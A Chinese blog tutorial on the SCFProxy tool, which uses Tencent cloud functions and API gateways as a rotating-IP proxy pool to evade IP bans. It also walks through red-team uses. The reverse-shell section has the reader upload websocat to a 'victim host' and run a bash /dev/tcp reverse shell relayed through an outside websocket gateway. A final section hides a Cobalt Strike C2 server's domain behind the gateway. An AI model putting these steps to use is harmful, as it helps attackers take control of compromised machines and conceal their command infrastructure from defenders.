# 前言 ## 云函数 > 云函数(Serverless Cloud Function,SCF)是云计算厂商为企业和开发者们提供的无服务器执行环境,可在无需购买和管理服务器的情况下运行代码, 是实时文件处理和数据处理等场景下理想的计算平台。只需使用 SCF 平台支持的语言编写核心代码并设置代码运行的条件,即可在某云基础设施上弹性、安全地运行代码。 > 无服务器(Serverless)不是表示没有服务器,而表示在使用 Serverless 时,我们无需关心底层资源,也无需登录服务器和优化服务器,只需关注最核心的代码片段,即可跳过复杂的、繁琐的基本工作。使用云函数(SCF)时,我们只需使用平台支持的语言(Python、Node.js、PHP、Golang、Java 及 Custom Runtime)编写代码,云计算厂商将完全管理底层计算资源,包括服务器 CPU、内存、网络和其他配置/资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等 ## 代理池的构建原理 通过API网关触发器触发云函数(SCF),接受来自客户端的数据,并将请求转发出去。利用云厂商提供的云函数(函数计算)功能,将客户端的HTTP请求转发,由于云函数拥有非常多的出口IP,也就不怕封IP了,但是出口多不代表没有上限,大家都用的同一厂商的出口IP,所以尽量不要滥用。 流程示意图如下  大概原理是通过vps做中转,vps搭建socks服务端,socks服务端将请求转发至云函数的API网关触发器 # SOCKS5代理 项目地址:https://github.com/shimmeris/SCFProxy ## 云函数代码配置 1. 先开通腾讯云函数 2. 在 函数服务 > 新建 中使用""从头开始""创建,函数名称及地域任选,运行环境选择 Python3.6。  3. 将`socks_client`目录中的`server.py`代码复制到编辑器上。注意`bridge_ip`和`bridge_port`参数为vps的socks开启监听的ip和端口  4. 内存尽量选最小的,如有购买云函数套餐可选大一点,超时时间设置为最大,这样一个socks会话最多能维持15m  5. 完成 ## 云函数触发器配置 1. 选择新建触发器  2. 设置触发器为API网关触发,其他保持默认即可  3. 最后得到一个访问路径  ## 客户端配置 1. 将代码部署到VPS上 ```shell git clone https://github.com/shimmeris/SCFProxy.git cd SCFProxy/SOCKS5/ #需 Python >= 3.8 pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ ``` 2. vps运行socks服务端 ```shell $ python3 socks5.py -h usage: socks5.py [-h] -u SCF_URL [-l ip] -sp SOCKS_PORT -bp BRIDGE_PORT [--user USER] [--passwd PASSWD] SCF Socks5 Proxy Server optional arguments: -h, --help show this help message and exit -u SCF_URL, --scf-url SCF_URL API Gate Way URL -l ip, --listen ip Bind address to listen, default to 0.0.0.0 -sp SOCKS_PORT, --socks-port SOCKS_PORT Port accept connections from client -bp BRIDGE_PORT, --bridge-port BRIDGE_PORT Port accept connections from SCF --user USER Authentication username --passwd PASSWD Authentication password ``` - `-u` 参数需要填写 API 网关提供的地址,必填 - `-l` 表示本机监听的 ip,默认为 0.0.0.0 - `-sp` 表示 SOCKS5 代理监听的端口,必填 - `bp` 表示用于监听来自云函数连接的端口,与 server.py 中的 `bridge_port` 相同,必填 - `--user` 和 `--passwd` 将用于 SOCKS5 服务器对连接进行身份验证,客户端需配置相应的用户名和密码 常用语法 ```shell python3 socks5.py -u "API访问路径" -bp 监听端口 -sp socks端口 --user user --passwd pass #user和passwd参数可选 ``` ## SOCKS5效果 1. 运行后如下图显示  2. 测试效果   # HTTP代理 项目地址:https://github.com/shimmeris/SCFProxy ## 云函数代码配置 1. 先开通腾讯云函数 2. 在 函数服务 > 新建 中使用""从头开始""创建,函数名称及地域任选,运行环境选择 Python3.6。  3. 修改 server.py 中的 `SCF_TOKEN` 为随机值(该值将用于鉴权),并将相同的值填入 client.py 中的 `SCF_TOKEN`,将 server.py 代码复制粘贴到编辑器中。  4. 内存尽量选最小的,如有购买云函数套餐可选大一点,超时时间设置为最大  ## 云函数触发器配置 1. 选择新建触发器 2. 设置触发器为API网关触发,其他保持默认即可 3. 最后得到一个访问路径客户端配置 ## 客户端配置 1. 项目基于 mitmproxy 提供本地代理,为代理 HTTPS 流量需安装证书。 运行 `mitmdump` 命令,证书目录自动生成在在 ~/.mitmproxy 中,安装并信任。 ```shell pip3 install mitmproxy ``` 2. 将触发器中的访问路径添加至 client.py 中 `scf_servers` 变量中,多个以逗号 `,` 分隔。  3. 开启代理开始运行: ``` mitmdump -s client.py -p 8081 --no-http2 ``` 如在 VPS 上运行需将 `block_global` 参数设为 false ``` mitmdump -s client.py -p 8081 --no-http2 --set block_global=false ``` ## HTTP效果 1. 运行后如下图  2. 测试效果    # 反弹shell 项目地址:https://github.com/shimmeris/SCFProxy ## 数据库配置 1. 反弹shell需要一个允许外部连接的mysql数据库,数据库配置语句如下: ```mysql create database SCF; use SCF; create table Connections ( ConnectionID varchar(128) NOT NULL, Date datetime, is_user tinyint ) ``` 2. 修改 src 文件夹内所有文件中的如下变量 ``` db_host = 数据库 host db_port = 数据库端口 db_user = 数据库用户 db_pass = 数据库密码 push_back_host = 等后续配置 API 网关后填写 ``` ## 云函数代码配置 1. 参照 HTTP 代理配置新建三个自定义函数,分别命名为 register, transmission, delete,这里不用单独配每个函数的API 2. 进入 [API 网关配置](https://console.cloud.tencent.com/apigateway/service),新建如下配置服务,基本信息名称随便填  3. 新建 API,前端类型选择 WS,其余默认,进入下一步  4. 开启设置注册函数、清理函数。后端类型,函数,后端超时时间分别配置为如下:  5. 点击立即完成,发布服务  6. 点击生成的 api,进入信息展示页面获取如下信息,将推送地址填入文件中的 `push_back_host` 变量  7. 修改 transmission.py 中的 `PASSWORD` 变量,该变量将用于客户端连接 ws 后将连接认证为用户  ## 使用方式 需要借助 [websocat](https://github.com/vi/websocat)。 1. 上传 `websocat`(或远程下载)到受害主机 2. 执行 `websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway` 转发端口 3. 反弹 shell 到本地端口 `bash -i >& /dev/tcp/127.0.0.1/12345 0>&1`(2、3 两步也可利用 & 合并成一条命令)   4. 攻击者连接` ws://apigate`,输入 auth PASSWORD 认证为用户,之后正常发送命令即可。  5. ws 连接后可执行的命令: ``` auth PASSWORD 将当前连接认证为用户,只有用户能接收未认证连接发送的信息 close 关闭当前连接 closeall 关闭目前存在的所有连接 ``` # C2 域名隐藏 该功能无需任何代码,只需要在 [API 网关](https://console.cloud.tencent.com/apigateway/service) 注册服务即可 ## 网关配置 1. 在[API 网关](https://console.cloud.tencent.com/apigateway/service)中新建服务,访问方式选择公网,其余不变  2. 进入服务见面,新建 API 配置如下,进入下一步  3. 配置后端类型为**公网URL/IP**,后端域名配置自己的 CS 服务器,后端超时拉满即可  ## CS配置 1. 将网关地址填入 host 监听器即可,这里注意复制过来的时候不要带http头和端口  2. 效果如下   最后修改:2022 年 04 月 28 日 © 允许规范转载 赞 1 如果觉得我的文章对你有用,请随意赞赏
1 条评论
太高端看不懂OωO